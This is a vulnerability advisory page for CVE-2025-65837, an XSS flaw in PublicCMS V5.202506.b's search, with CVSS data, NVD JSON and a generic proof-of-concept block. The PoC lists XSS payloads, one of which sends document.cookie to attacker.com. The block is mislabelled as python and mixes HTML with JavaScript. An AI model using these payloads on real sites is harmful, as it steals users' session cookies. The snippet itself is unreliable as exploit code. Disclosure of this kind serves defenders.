Security Vulnerability Report
中文
CVE-2025-65837 CVSS 5.4 MEDIUM

CVE-2025-65837

Published: 2025-12-22 20:15:45
Last Modified: 2026-01-05 16:24:36

Description

PublicCMS V5.202506.b is vulnerable to Cross Site Scripting (XSS) in the Content Search module.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:* - VULNERABLE
PublicCMS V5.202506.b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-65837 PublicCMS XSS PoC --> <!-- Inject malicious script via search functionality --> <!-- Step 1: Inject XSS payload in search box --> <script>alert(document.domain)</script> <img src=x onerror=alert(document.cookie)> <svg/onload=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Example: Send search request with XSS payload --> <!-- GET /search?q=<script>alert(document.cookie)</script> --> <!-- Step 2: When victim visits search results, XSS executes --> <!-- The injected script will be rendered in HTML without sanitization --> <!-- PoC for automated testing --> const xssPayload = '<script>console.log("XSS Triggered")</script>'; const searchUrl = 'https://target-site.com/search?q=' + encodeURIComponent(xssPayload); fetch(searchUrl).then(r => r.text()).then(console.log); <!-- Recommended remediation: Implement input validation and output encoding -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65837", "sourceIdentifier": "[email protected]", "published": "2025-12-22T20:15:44.990", "lastModified": "2026-01-05T16:24:35.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PublicCMS V5.202506.b is vulnerable to Cross Site Scripting (XSS) in the Content Search module."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:publiccms:publiccms:5.202506.b:*:*:*:*:*:*:*", "matchCriteriaId": "A4C1250A-E966-4C67-AFC2-0B73875DC061"}]}]}], "references": [{"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/XSS_1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/sanluan/PublicCMS/issues/100", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/Hyperkopite/PublicCMS_Vulns/blob/main/XSS_1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}